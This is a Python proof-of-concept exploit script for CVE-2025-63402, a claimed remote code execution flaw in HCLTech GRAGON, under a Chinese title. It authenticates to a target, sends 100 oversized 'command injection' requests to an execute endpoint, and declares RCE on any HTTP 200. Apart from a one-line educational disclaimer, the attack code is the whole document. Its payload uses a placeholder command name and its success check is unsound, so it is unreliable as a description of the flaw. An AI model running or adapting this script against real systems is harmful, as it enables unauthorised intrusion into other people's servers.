CVE-2025-63402 HCLTech GRAGON 远程代码执行漏洞

# CVE-2025-63402 PoC - HCLTech GRAGON API滥用导致RCE # Author: Security Researcher # Note: This PoC is for educational and authorized testing purposes only import requests import json import time import sys TARGET_URL = "https://target-gragon-instance.com" API_ENDPOINT = "/api/v1/execute" LOGIN_ENDPOINT = "/api/v1/auth/login" def login(username, password): """Authenticate with high-privilege account""" session = requests.Session() login_data = { "username": username, "password": password } response = session.post(f"{TARGET_URL}{LOGIN_ENDPOINT}", json=login_data) if response.status_code == 200: return session, response.json().get('token') return None, None def exploit_api_abuse(session, token): """Exploit CVE-2025-63402: API without request limits""" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Malicious payload to execute arbitrary code payload = { "command": "system_command_injection", "args": ["whoami"], "large_data": "A" * 1000000 # Unrestricted size } # Send multiple requests (lack of rate limiting) for i in range(100): try: response = session.post( f"{TARGET_URL}{API_ENDPOINT}", headers=headers, json=payload, timeout=30 ) print(f"Request {i+1}: Status {response.status_code}") if response.status_code == 200: print(f"Potential RCE confirmed: {response.text[:200]}") return True except Exception as e: print(f"Request {i+1} failed: {e}") time.sleep(0.1) return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-63402.py <username> <password>") sys.exit(1) print("[*] Starting CVE-2025-63402 exploitation...") username, password = sys.argv[1], sys.argv[2] session, token = login(username, password) if token: print(f"[+] Authentication successful") if exploit_api_abuse(session, token): print("[+] Vulnerability confirmed!") else: print("[-] Exploitation failed or target not vulnerable") else: print("[-] Authentication failed")